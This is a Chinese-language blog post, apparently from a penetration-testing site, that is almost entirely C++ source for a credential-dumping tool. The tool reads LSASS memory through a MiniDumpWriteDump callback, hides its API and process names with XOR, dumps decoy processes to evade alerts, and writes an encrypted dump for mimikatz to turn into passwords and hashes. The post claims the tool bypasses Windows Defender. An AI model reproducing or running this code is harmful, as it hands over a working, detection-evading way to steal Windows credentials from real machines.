前提条件:需要UAC或者管理员权限
关键函数:MiniDumpWriteDump
BOOL MiniDumpWriteDump([in] HANDLE hProcess, //进程句柄[in] DWORD ProcessId, //进程PID号[in] HANDLE hFile, //写入信息的文件的句柄[in] MINIDUMP_TYPE DumpType, //要生成的信息的类型[in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, //是否转存异常信息[in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, //用户定义的信息[in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam //接收扩展的小型转储信息的回调例程,可用于加密hash信息);
#include <windows.h>#include <DbgHelp.h>#include <iostream>#include <TlHelp32.h>#include <vector>#include <processsnapshot.h>#pragma comment (lib, "Dbghelp.lib")typedef BOOL(WINAPI* MyDumpPtr)(HANDLE, DWORD, HANDLE, MINIDUMP_TYPE, PVOID, PVOID, PVOID);using namespace std;// Buffer for saving the minidumpLPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);DWORD bytesRead = 0;BOOL CALLBACK minidumpCallback(__in PVOID callbackParam,__in const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput){LPVOID destination = 0, source = 0;DWORD bufferSize = 0;switch (callbackInput->CallbackType){case IoStartCallback:callbackOutput->Status = S_FALSE;break;// Gets called for each lsass process memory read operationcase IoWriteAllCallback:callbackOutput->Status = S_OK;// A chunk of minidump data that's been jus read from lsass.// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.// We will simply save it to dumpBuffer.source = callbackInput->Io.Buffer;// Calculate location of where we want to store this part of the dump.// Destination is start of our dumpBuffer + the offset of the minidump datadestination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);// Size of the chunk of minidump that's just been read.bufferSize = callbackInput->Io.BufferBytes;bytesRead += bufferSize;RtlCopyMemory(destination, source, bufferSize);//printf("[+] Minidump offset: 0x%x; length: 0x%xn", callbackInput->Io.Offset, bufferSize);break;case IoFinishCallback:callbackOutput->Status = S_OK;break;default:return true;}return TRUE;}typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG Privilege, BOOL Enable,BOOL CurrentThread, PULONG Enabled);_RtlAdjustPrivilege MRtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlAdjustPrivilege");int main() {int deconDumps = 14;DWORD bytesWritten = 0;HANDLE lsassHandle = NULL;ULONG t;DWORD pid = 0;HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (snap == INVALID_HANDLE_VALUE) {std::cerr << "CreateToolhelp failedn";return 1;}PROCESSENTRY32 pe;pe.dwSize = sizeof(pe);// https://cyberchef.org/#recipe=Unescape_string()XOR(%7B'option':'UTF8','string':'AB'%7D,'Standard',false)To_Hex('0x%20with%20comma',0)&input=ZGJnaGVscC5kbGwBYTE dumpLibraryBytes[] = { 0x25,0x20,0x26,0x2a,0x24,0x2e,0x31,0x6c,0x25,0x2e,0x2d,0x42 };for (size_t i = 0; i < sizeof(dumpLibraryBytes); ++i) { dumpLibraryBytes[i] ^= ((i & 1) == 0 ? 0x41 : 0x42); }// https://cyberchef.org/#recipe=Unescape_string()XOR(%7B'option':'UTF8','string':'AB'%7D,'Standard',false)To_Hex('0x%20with%20comma',0)&input=TWluaUR1bXBXcml0ZUR1bXBcMABYTE dumpFunctionBytes[] = { 0x0c,0x2b,0x2f,0x2b,0x05,0x37,0x2c,0x32,0x16,0x30,0x28,0x36,0x24,0x06,0x34,0x2f,0x31,0x42 };for (size_t i = 0; i < sizeof(dumpFunctionBytes); ++i) { dumpFunctionBytes[i] ^= ((i & 1) == 0 ? 0x41 : 0x42); }char* dumpLibrary = reinterpret_cast<char*>(dumpLibraryBytes);char* dumpFunction = reinterpret_cast<char*>(dumpFunctionBytes);// open handle to dump file (overwrite if exists)HANDLE hFile = CreateFileA("1.log", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE) {std::cerr << "Failed to open out file: " << GetLastError();return 1;}// resolving functionsHMODULE hLib = LoadLibraryA(dumpLibrary);if (!hLib) {std::cerr << "Failed to load lib " << dumpLibrary << ": " << GetLastError();CloseHandle(hFile);return 1;}MyDumpPtr MiniDWriteD = (MyDumpPtr)GetProcAddress(hLib, dumpFunction);if (!MiniDWriteD) {std::cerr << "Failed to get function addr " << dumpFunction << ": " << GetLastError();CloseHandle(hFile);return 1;}std::vector<std::wstring> procsDump = {L"ctfmon.exe", L"explorer.exe", L"ShellHost.exe", L"audiodg.exe"};int i = 0;while (i < deconDumps) { // repeat until target number reachedint prev = i;if (Process32First(snap, &pe)) {do {// only dump "non important" procs, do not raise alerts hereif (std::find(procsDump.begin(), procsDump.end(), pe.szExeFile) != procsDump.end()) {HANDLE hDecon = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);if (hDecon == NULL) {continue; // ignore errors, just open+dump as many procs as possible (except lsass)}std::cout << "Dumping " << pe.th32ProcessID << "n";// blindly dump and overwriteMiniDWriteD(hDecon, pid, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);// and close proc handle againCloseHandle(hDecon);i++;}} while (Process32Next(snap, &pe) && i < deconDumps);}if (i == prev) {std::cout << "Unable to dump any procn";break; // unable to dump any proc, break}}if (deconDumps > 0) {std::cout << "Finished deconditioning, dumped " << i << " procsn";}// https://cyberchef.org/#recipe=Unescape_string()Encode_text('UTF-16LE%20(1200)')XOR(%7B'option':'UTF8','string':'AB'%7D,'Standard',false)To_Hex('0x%20with%20comma',0)&input=bHNhc3MuZXhlXDABYTE procBytes[] = { 0x2d,0x42,0x32,0x42,0x20,0x42,0x32,0x42,0x32,0x42,0x6f,0x42,0x24,0x42,0x39,0x42,0x24,0x42,0x41,0x42 };for (size_t i = 0; i < sizeof(procBytes); ++i) { procBytes[i] ^= ((i & 1) == 0 ? 0x41 : 0x42); }std::cout << "After decrypting target proc stringn";wchar_t* procW = reinterpret_cast<wchar_t*>(procBytes);// find lsass's PID (but do not interact with it yet!)std::cout << "Before finding pidn";if (Process32First(snap, &pe)) {do {if (_wcsicmp(pe.szExeFile, procW) == 0) {pid = pe.th32ProcessID;break;}} while (Process32Next(snap, &pe));}if (pid != 0) {std::cout << "After finding pid: " << pid << "n";}else {std::cerr << "Unable to find pidn";CloseHandle(hFile);return 1;}// enable debug privilegeMRtlAdjustPrivilege(20, TRUE, FALSE, &t);lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);if (lsassHandle == NULL){printf("n[-] OpenProcess errorn");return 0;}// Set up minidump callbackMINIDUMP_CALLBACK_INFORMATION callbackInfo;ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));callbackInfo.CallbackRoutine = &minidumpCallback;callbackInfo.CallbackParam = NULL;// Dump lsassBOOL isDumped = MiniDWriteD(lsassHandle, pid, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);for (DWORD i = 0; i < bytesRead; i++){*((BYTE*)dumpBuffer + i) ^= 0x54;}if (isDumped){// At this point, we have the lsass dump in memory at location dumpBuffer - we can do whatever we want with that buffer, i.e encrypt & exfiltrateprintf("n[+] lsass dumped to memory 0x%pn", dumpBuffer);HANDLE outFile = CreateFile(L"c:\Windows\temp\1.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);// For testing purposes, let's write lsass dump to disk from our own dumpBuffer and check if mimikatz can work itif (WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL)){printf("n[+] lsass dumped from 0x%p to c:\Windows\temp\1.binn", dumpBuffer, bytesWritten);}}return 0;}
解密bin文件后使用mimikatz解析还原密码或者Hash信息:
单纯绕过Defender,关注点主要是Hash文件落地要做加密,避免落地告警,其他就没啥。源码给出一次完整的Dump过程,同时绕过Defender,其他杀软自测!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……



